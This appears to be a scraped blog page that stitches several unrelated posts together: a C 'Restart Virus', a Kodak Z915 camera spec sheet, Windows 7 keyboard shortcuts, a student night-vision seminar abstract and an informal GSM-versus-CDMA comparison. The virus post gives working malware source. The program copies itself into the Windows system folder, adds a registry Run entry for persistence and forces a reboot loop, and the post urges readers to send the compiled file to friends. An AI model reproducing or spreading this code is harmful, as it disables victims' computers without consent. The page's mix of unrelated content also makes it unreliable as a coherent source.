100, 102, 105, 107, 110, 113, 115, 118, 121, 124, 127, 130, 133, 137, 140, 143, 147, 150, 154, 158, 162, 165, 169, 174, 178, 182, 187, 191, 196, 200, 205, 210, 215, 221, 226, 232, 237, 243, 249, 255, 261, 267, 274, 280, 287, 294, 301, 309, 316, 324, 332, 340, 348, 357, 365, 374, 383, 392, 402, 412, 422, 432, 442, 453, 464, 475, 487, 491, 511, 523, 536, 549, 562, 576, 590, 604, 619, 634, 649, 665, 681, 698, 715, 732, 750, 768, 787, 806, 825, 845, 866, 887, 909, 931, 959, 976

Restart Virus In “C” language

 

Here is a C programming in C language which restarts Your Computer Whenever You Try

to turn on Your computer.

Write this programming in a Compiler (like Turbo C) and Compile that.

Don't run the programme because this will infect your machine.

After Compiling copy the created .exe file and send it to your friends.

program code is here:-

#include<stdio.h>
#include<dos.h>
#include<dir.h>

int found,drive_no;char buff[128];

void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;

case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;

case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;

default:
exit(0);
}

while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}

else
system(“shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}

Kodak z915 Review

KODAK Z915 IS 10MP HD Digital Camera Black

w/32mb Internal Memory, HD Movie Recording w/sound, 2.5" LCD

10 X Optical ZOOM! Optical Image Stabilization

1 YEAR Kodak Warranty!

Become a better photographer with a smarter camera. The KODAK EASYSHARE Z915 Digital Camera has an extended zoom so you can get closer to those far away shots. And, with Kodak’s innovative Smart Capture feature, camera settings are adjusted to deliver beautiful pictures, automatically. The Z915 is compact, not complex, so you can take incredible pictures at an incredible price.

Features & Specifications

Powerful zoom, remarkable speed and clarity

Take photography to the next level. Whether you’re zooming in on fast action shots or taking a picture of your grand surroundings, the Z915 is the camera that can handle it. And it’s surprisingly simple to use.

10X optical zoom with image stabilization

• The all glass 10X optical zoom lens (35–350 mm) zooms in fast to deliver extraordinary creative performance
• Fast f/3.5–f/4.8

Optical image stabilization

• Capture sharp, steady shots when shooting at long zoom ranges
• Optical image stabilization automatically minimizes camera shake to deliver sharper pictures

Amazing quality prints with 10 MP

• 10 MP means you can make stunning prints up to 30 × 40 in.
• More megapixels means you can crop and enlarge and still have great picture quality
• However you choose to print—at home, at retail, or online—trust KODAK for picture quality that’s truly exceptional and for memories that will last

Best-in-class[1]click to capture speed

< 0.3 second click-to-capture speed means you can capture that challenging action shot without delay

Beautiful pictures, more often—automatically

Become a better photographer with a smarter camera. The KODAK EASYSHARE Z915 Digital Camera blends the latest picture-taking technology with the ultimate in style—and with Kodak’s innovative Smart Capture feature, it’s the take-anywhere camera that does it all—automatically.

Kodak's Smart Capture feature

Take better pictures than ever before. Kodak's innovative Smart Capture feature adjusts camera settings for great pictures in just about any environment—automatically.

• Intelligent scene detection—detects and analyzes scene conditions
• Intelligent capture control—automatically sets camera settings including exposure, focus and ISO for clear, sharp pictures even in low light and challenging situations
• Intelligent image processing—reduces noise and clears up dark shadows for vibrant, crisp details and true-to-life colors
• Experience Smart Capture

True HD quality: capture stunning pictures

HD picture capture

• Capture beautiful HD pictures in 16:9 format
• View your pictures in high definition on an HDTV or other HD devices

KODAK Theatre HD Player (optional device)

Give your pictures the life they deserve. With the KODAK Theatre HD Player, you can relive your memories on your big screen HDTV in stunning high-definition.

• Relive your HD pictures and videos on your HDTV
• Access pictures from your PC, camera, and online photo sharing sites
• Wirelessly send and receive pictures with Kodak’s Picture Mail feature
• Create slideshows to your favorite songs
• Access Internet Radio, podcasts and other web content on your HDTV

Compact, not complex

 

Capture consistently great shots by utilizing features such as face detection, on-camera editing features, KODAK PERFECT TOUCH Technology and much more. And after you take the shot, do even more. Turn your pictures into a multimedia slideshow, complete with music and effects.

High ISO mode

• Capture the details in low light conditions and fast action situations with a powerful, high ISO (up to 1600)
• Faster shutter speeds mean you can capture scenes in low light and fast action
• The camera automatically selects from ISO 64 to ISO 1600 based on lighting conditions

Face detection

For great shots of friends and family, face detection locates faces and automatically adjusts camera settings

Multimedia slideshow

Tell your story your way using the multimedia slideshow feature.

• Turn your pictures into a creative multimedia slideshow right from your camera
• Set the mood when you choose from pre-loaded sound themes to accompany your slideshow
• Insert creative transitions and bring your pictures to life

Text and sound tags

Add text or sound tags to your pictures, on-camera, so you can easily find and organize them later using KODAK EASYSHARE Software.

• Never forget the details of your pictures with text tags
• Let your pictures have their say with sound tags

On-camera picture-enhancing features

• Easily capture and create great shots with features such as on-camera cropping, blurry picture alert, undo delete and picture rotation
• Panorama stitch mode combines up to three shots into one large picture on-camera
• Verify the exposure of your picture using the histogram feature on live view, quick view and review

KODAK PERFECT TOUCH Technology

Make your pictures as vivid as the moment you took them. Print better, brighter pictures using KODAK PERFECT TOUCH Technology in PASM modes.

• Make better, brighter pictures
• Relive your memories in richer detail
• Clear up dark shadows to reveal more smiles

Shoot video with ease

• Record continuous VGA video (640 × 480) at 30 fps with sound and on-camera editing
• Video print options include 1, 4, 9, and 16-up prints
• Save single frames and e-mail to family and friends

Internal memory plus

• Don’t miss a shot if your memory card becomes full—switch to in-camera memory quickly, thanks to the internal memory plus feature
• 32 MB internal memory[2]and SD/SDHC card compatibility lets you start shooting right out of the box

Convenient battery options

The Z915 is always powered and ready to go.

Never miss a shot because of a dead battery—with convenient power options, including rechargeable batteries, you’ll be able to capture even more moments

PASM, scene and color modes for advanced creativity

Program, aperture and shutter priority, as well as full manual mode (PASM)

• Program mode (P)—camera sets optimal shutter speed and aperture combination
• Aperture priority mode (A)—you choose aperture, the camera sets shutter speed
• Shutter priority mode (S)—you choose shutter speed, the camera sets aperture
• Manual mode (M)—you choose both the aperture and shutter speed

Manual controls

• Exposure compensation—± 2.0 EV in ± 1/3 EV step increments
• Aperture— f/3.5–f/4.8
• Shutter speed—16–1/1250 sec. (auto), 16–1/1000 sec. (S/M mode)
• ISO equivalents—(automatic) 64, 100, 200, 400, 800, 1600
• Auto focus—TTL imager AF system
• Exposure metering—multi-pattern, center-weighted, center-spot
• White balance—auto, daylight, tungsten, fluorescent, open shade
• Flash mode—auto, off, fill

Multiple scene modes

• Portrait modes—portrait, night portrait, backlight, self
• Landscape modes—landscape, night landscape, fireworks, sunset
• Bright scene modes—sport, beach, snow
• Action modes—sport, children, stage
• Text mode—ensures sharp text when photographing documents

5 color modes

• High color
• Low color
• Natural color
• Black and white
• Sepia

The simple way to share

The Z915 is part of the KODAK EASYSHARE System, so sharing your pictures is amazingly simple. Just press Share.

One button upload via Share button

• Sharing starts right on the back of the camera
• Upload and share your favorite pictures and videos to YouTube™ and KODAK Gallery via the Share button and KODAK EASYSHARE Software

KODAK EASYSHARE Software (included)

The simplest way to organize, edit, create, and share.

• Organize your pictures with your own tags and star ratings then use the search feature to quickly find any picture in your collection
• Edit your pictures with ease—select from a variety of simple tools that reduce red-eye, improve lighting, remove wrinkles and blemishes, and add text
• Create photo projects online or at home—choose from hundreds of templates and designs to create album pages, cards, invitations and much more
• Share your photos and videos with family and friends at the KODAK Gallery or YouTube™

¹Among 10X optical zoom, image stabilized digital cameras as of November 2008.

²32 MB internal memory / 13.5 MB available for picture storage (1 MB equals 1 million bytes).

Product Specifications

Standard features

Sensor type
1 / 2.3 type CCD

Effective pixels
10 MP (3672 × 2748)

Lens
35–350 mm (35 mm equiv.) f/3.5–4.8

Zoom
10X optical, 5X advanced digital, total zoom range 50X

Image stabilization
Optical

Shutter speed

• 1/8–1/1250 sec. (auto)
• 16–1/1000 sec. (S/M mode)

Monitor
2.5 in. high resolution (230K dots), 5 level brightness adjustments

Storage
32 MB internal memory[1]available, SDHC/SD card expansion slot

Auto focus

Focus Type
TTL imager AF system

Modes
normal, macro, infinity

Focus range

• wide standard: 0.5 m–infinity
• tele standard: 1.2 m–infinity
• wide macro: 0.12–0.6 m
• tele macro: 0.6–1.3 m

Auto focus control
single, continuous

Auto focus zones
TTL multi-zone, center zone face priority

Face-priority AF
yes

AF (Auto Focus) assist light
yes

Exposure control

ISO sensitivity

• auto, 100, 200, 400, 800, 1600

Metering modes
multi-pattern, center-weighted, spot

Compensation
±2.0 EV with 1/3 EV steps

Bracketing
±1.0 EV with 1/3 EV steps, 3 images

White balance
auto, daylight, tungsten, fluorescent, open shade

Flash

Range

• 5.4 m (@ wide, in Smart Capture mode)
• 3.9 m (@ tele, in Smart Capture mode)

Modes
auto, off, fill, red-eye reduction, off

Compensation
±1.0 EV in 1/3 steps

Shooting specifications

Drive modes
single shot, burst (1.5 fps up to 3 images), self-timer (10 sec.), delay shutter (2 sec.), 2-shot self timer

Shooting modes
Smart Capture, sport, P (program mode), A (aperture priority mode), S (shutter priority mode), M (manual mode), portrait, panorama (left–right, right–left), video, SCN (scene modes)

Scene modes
high ISO, portrait, night portrait, landscape, night landscape, flower, sunset, backlight, candlelight, manner/museum, text, beach, snow, fireworks, children, self-portrait, stage

Click to capture
< 0.2 sec.

Shot to shot
< 1.3 sec

Still capture

Still format
JPEG/EXIF v2.21

Picture size

• 10 MP (3648 × 2736)—4:3
• 8.9 MP (3648 × 2432)—3:2
• 7.5 MP (3648 × 2048)—16:9
• 5.0 MP (2592 × 1936)—4:3
• 3.1 MP (2048 × 1536)—4:3
• 2.2 MP (1824 × 1216)—3:2
• 2.1 MP (1920 × 1088)—16:9
• 1.2 MP (1280 × 960)—4:3

Color modes
high color, natural color, low color, sepia, black and white

Sharpness
high, normal, low

Review options
single, magnification with navigation box, multi-up, multi-field search, slideshow, multimedia slideshow

Editing
on-camera crop, KODAK PERFECT TOUCH Technology, voice annotation

File management
delete, undo delete, copy, protect, text tagging, one-button upload

Video capture

Format
QUICKTIME Photo JPEG

Quality

• VGA (640 × 480) at 30 fps
• QVGA (320 × 240) at 30 fps

Length
continuous up to 4 GB

Microphone
yes

Review options
play, rewind, pause, fast-forward and rewind, forward and rewind by frame, multimedia slideshow, bookmarks, view by

Editing
make a picture from video, action print (1, 4, 9, 16-up), trim, copy

File management
delete, undo delete, copy, protect, text tagging, one-button upload

Customization

Custom settings
LCD brightness (5 levels), date stamp (on/off), image storage, capture frame grid (on/off), image stabilizer control, red-eye preflash (on/off), quick view (on/off), advanced digital zoom, orientation sensor, sound, volume, date & time, auto power off, video out, language, reset camera

Sharing

Share button
yes

Physical specifications

I/O interface
digital (USB 2.0 high speed) connector for data and video

Power
(2) AA batteries (alkaline, lithium, or Ni-MH), optional AC adapter

Tripod mount
¼ in. standard

Dimensions
W × H × D: 4.2 × 2.9 × 1.4 in.

Weight
7.8 oz (without SD card and batteries)

Compatibility

Direct printing
PictBridge-enabled

Software

works with KODAK EASYSHARE Software

Condition & Warranty

his product is 100% brand new. KODAK Retail box. This package includes the following warranty:

• Warranty Length: This product comes with 1 YEAR Warranty BY KODAK.

• Coverage: This warranty covers repair or replacement of defective product.

Package Contents

• KODAK EASYSHARE Z915 Digital Camera
• (2) KODAK Alkaline AA Batteries or equivalent
• USB cable
• Wrist strap
• User's Guide with KODAK EASYSHARE Software

Windows 7 shortcuts

Windows + ↑ (Up Arrow) – Maximize window

Windows + ← (Left Arrow) – Snap window to left side covering half of desktop space. Continue pressing the keyboard shortcut will rotate the window between snap to left, snap to right and restore to normal position.

Windows + → (Right Arrow) – Snap window to right side covering half of desktop space. Continue pressing the keyboard shortcut will rotate the window between snap to left, snap to right and restore to normal position.

Windows + ↓ (Down Arrow) – Minimize the window. Restore to normal size and position if the window is currently maximized.

Windows + Home – Clear all but the active window.

Windows + Space – All windows become transparent so you can see through to the desktop.

Windows + Shift + ← (Left Arrow) – Move the active window to the adjacent monitor on the left for dual or multiple monitors setup.

Windows + Shift + → (Right Arrow) – Move the active window to the adjacent monitor on the right for dual or multiple monitors setup.

Windows + T – Show preview thumbnail of running applications in Windows Taskbar one by one without mouse over.

Windows + P – Adjust presentation options of the display on computer or projector.

Windows + + (Add) – Zoom in.

Windows + – (Minus or Dash) – Zoom out.

Shift + Click a Taskbar item: Open a new instance of that particular application.

Other popular or common keyboard hotkeys which are already been used in Windows Vista:

Windows + D – Show desktop and restore desktop (minimize or restore all windows).

Windows + M – Minimize all windows.

Windows + U – Open Ease of Access Center.

Windows + F – Search window.

Windows + G – Bring all gadgets on top and foreground.

Windows + X – Run Windows Mobility Center.

Windows + R – Open ‘Run’ command.

Windows + E – Run Windows Explorer.

Windows + L – Lock the computer.

Windows + Pause [Break] – Open System Properties.

Windows + [number] – Activate and run the program pinned on Windows 7 Taskbar, running program won’t be affected.

Windows + Tab – Windows Aero Task Switcher

F1 – Help

F3 – Search

Full complete listing of Windows 7 keyboard shortcuts are available.

NIGHT VISION SEMINAR ABSTRACT

 

Submitted by

Sadekur Rahaman ECE-29/08

Debayan Kabiraj ECE-37/08

Night vision technology, by definition, literally allows one to see in the dark, it helps humans see in what we call the dark. Humans see in only a small part of the light spectrum. Light is made of waves of energy and the longer the wave is, the less energy it has. The shorter a wave is, the more energy it contains which means that the visible light we see has a range of energy levels. Red is the lowest. Violet has the highest energy. The color spectrum increases in energy as you go from red, orange, yellow, green, blue, indigo, and the highest violet. Below the visible red waves, we can see are even lower energy waves called infrared. We can also call these heat waves. The infrared part of the light spectrum can be divided into three types. Near infrared is closest to visible red light. Mid infrared waves are longer and farther away from visible red light. Thermal infrared has longer wavelengths still. Violet is the highest visible wavelength, which humans can see. Above the violet colored waves, we see in the visible light spectrum, are the ultra violet waves, which has higher energy waves than

Visible violet light.
Night vision devices can help us to see a great distance away on a cloudy night when there is no moon light and it works in two ways.
One way uses light that that we cannot see toward the infrared end of the light spectrum. This light is amplified to the point where we can see images.
A lens focuses visible and infrared light into a special electronic tube that intensifies a dim image into a strong one. The few photons that exist in the dim light are converted to electrons. The electrons, pushed by a strong voltage within the tube, collide with the sides of the slightly bent tube to create thousands of electrons. Electrons hitting other electrons in the micro channels of the vacuum tube generate thousands more electrons than there were to start with. There is a screen covered with phosphors at the end of the tube. When the electrons hit the phosphors they become excited. A greenish light is given off in the image of what there is

to be seen.

Another way night vision is achieved is by using the heat objects give off. This is how thermal imaging works. The light given off by warm objects is focused by a specially designed lens. This infrared light hits an electronic detector device, which creates a detailed pattern of the differences in temperature. This pattern is called a thermogram. The information held in the thermogram is transformed into electrical impulses. A little computer creates usable data from the electrical impulses and the data is processed more and sent to a display where it is seen as various colors, depending on how much infrared light an object was giving off. There must be a temperature difference between objects and their surroundings to detect images. This image can be viewed through a scope like in a pair of binoculars or on a monitor screen.

NVD Evolved from bulky optical instruments in lightweight goggles through the advancement of image intensification technology. Types of night vision Categorized by generations each substantial change NVT establishes a new generation

Categorized into:

Generations	Invention Time	Uses
Generation 0	The earliest (1950's)	Created by US Army Uses active infrared.
Generation 1	1960's (Vietnam Era)	Uses passive infrared Uses ambient light provided by the moon and the stars.
Generation 2	late 1970s and early 1980s	Offer improved resolution and performance over Generation-1 devices.
Generation 3	1990	Uses the gallium arsenide (GaAs) photocathode and the ion-barrier Film on the MCP.
Generation 4	2000	Known as filmless and gated technology Shows significant improvement in both high- and low-level light environments.

The original purpose of night vision was to locate enemy targets at night. It is still used extensively by the military for that purpose, as well as for navigation, surveillance and targeting. Police and security often use both thermal-imaging and image-enhancement technology, particularly for surveillance. Hunters and nature enthusiasts use NVDs to maneuver through the woods at night. Detectives and private investigators use night vision to watch people they are assigned to track. Many businesses have permanently-mounted cameras equipped with night vision to monitor the surroundings.

References

http://electronics.howstuffworks.com/nightvision3.html

http://www.nightvision.com/military/militaryhome.html

http://www.physics.ohio-state.edu/~wilki...index.html

TDMA VS CDMA

 

Cell-phones-a word not unknown. Ever since the cell-phone bug has hit India some have been using it for style and some have been using it for communication. I have been using it for both. The cell-phone

market has really been booming since the last couple of years thanx to the “videshi” mobile companies coming here and also to thanx to the advertising and marketing agencies which have been luring customers to them. Also thanx to the TRAI which has been regulating the cost per calls bringing it lower and lower in order to benefit the customers.

Not going too back time when people in India started to use mobile-phones in the later 90’s decade it was used just used as a means of communication that to make and receive calls. It was when the cellular service offering companies jumped in to the picture and revolutionized the whole cell-phone thing. At that time if u would have asked what is this GSM thing not many would have been able to answer that.

Talking about GSM, CDMA at that time was not at all in the picture (in India). It is about the last two years when companies like Reliance and Tata started their CDMA services the people have come to know which is good and which is bad.

The major players in the GSM market are Hutchison Max, Airtel, Idea, BSNLetc. All of these are offering their GSM based services (I will explain what GSM is later). Now when Tata launched it CDMA service it nearly went unnoticed and Reliance was also stepping into the telecom industry. So the GSM players asked Reliance a question:

Hutch, Airtel, Idea: Humare pass GSM hain, customers hain, alag handsets hai, aur value added services aayengi…Tumhare pass kya hai?

and Reliance answered : Mere pass CDMA hai aur backing ke liye fibre-optic cable aur Karlo Duniya Mutthi mein Tagline hai..ha ha ha ha.. and Reliance launched its CDMA services in India which achieved success in a very short time.

So what really is GSM:

The GSM (Global System for Mobile Communications) standard for cell phones was established in Europe in the mid-1980s. GSM operates in the 900-MHz and 1800-MHz bands in Europe and India, in the 1900-MHz band in the U.S. To connect to the service providers GSM users use Subscriber identification module (SIM) cards. SIM cards are small removable memories that go in and out of GSM phones. They store all the connection data and identification numbers you need to access a particular wireless service provider. GSM works on TDMA(Time Division Multiple Access) which allots a particular time period on a particular frequency. GSM systems also are more secure than CDMA systems because of its way of operation which is kind of on-off thing.

Coming to CDMA

CDMA stands for Code Division Multiple Access. Now this is entirely different compared to TDMA or GSM systems. In CDMA data (that is the voice signal that is being digitized) is spread out over the entire frequency bandwidth. Multiple calls are superimposed on each other on the channel, with each assigned a unique sequence code. CDMA is a form of spread spectrum, which simply means that data is sent in small pieces over a number of the discrete frequencies available for use at any time in the specified range. All of the users transmit in the same wide-band chunk of spectrum. Each user’s signal is spread over the entire bandwidth by a unique spreading code. At the receiver, that same unique code is used to recover the signal. Because CDMA systems need to put an accurate time-stamp on each piece of a signal, it uses the GPS system for this information and operates in both the 800-MHz and 1900-MHz frequency bands.

This was a small piece of technical information about CDMA and GSM.

Ofcourse coming to the non-technical aspects in my opinion there are advantages and disadvantages of both GSM and CDMA which I am stating below:

Advantages of GSM service:

--> Variety of handsets available for choosing. U can get a new handset almost every month (of course if u have money lol) . Its just about removing the SIM from old handset to a new handset. And most importantly GSM services are not handset dependent.

--> Various service providers are available for choosing. If u aren’t satisfied with one switch over to other. This is probably its biggest advantage. You r not in contract of any of the service providers for any time. So u can switch over whenever u want.

--> Call Costs are becoming lower and lower everyday.

--> Call quality is much more pure and secure in GSM.

--> More and more value-added services like GPRS, EDGE etc are coming everyday.

--> Power is less consumed in GSM handsets compared to CDMA handsets.

--> If u have a tri-band GSM phone u can use it in almost any part of the world.

Disadvantages:

--> Call costs will still remain higher compared to CDMA. Roaming costs are much lower in CDMA compared to GSM.

-->GSM phones can be tampered with. They have their unique IMEI number which is used to lock the fone permanently but nowadays software’s are available which can tamper them too.

--> If ur SIM is lost then all data is lost unless u have it stored in the fone’s memory.

CDMA Advantages:

-->The first and the most important advantage in CDMA is the cost of calls is lower than GSM. Although this difference is becoming transparent day by day still roaming costs will remain low.

-->CMDA services in India are backed up India’s most wealthy companies Tata and Reliance.

-->Rite now the call quality is better than GSM. But as soon as the subscriber base increases the call quality will start going low because of the way in which CDMA system works.

Disadvantages:

-->Although many handsets are available in CDMA service u don’t find as much variety as u would in GSM handsets.

--> The biggest disadvantage for CDMA handsets is they aren’t compatible with GSM handsets. U cannot use a CDMA handset with a SIM card. So u gotta stick around with one handset for a long time.

-->Another disadvantage is that in CDMA only 2 service providers are there Reliance and Tata. While Tata is still improving so u gotta stick to Reliance u have no option. Ofcourse Reliance is too increasing day by day.

--> The web based services like messenger, downloading ringtones etc from websites are not yet available in CDMA services yet.

At the end I would like to tell u that I have stated the advantages and disadvantages of both CDMA and GSM services now it depends on u which service u choose.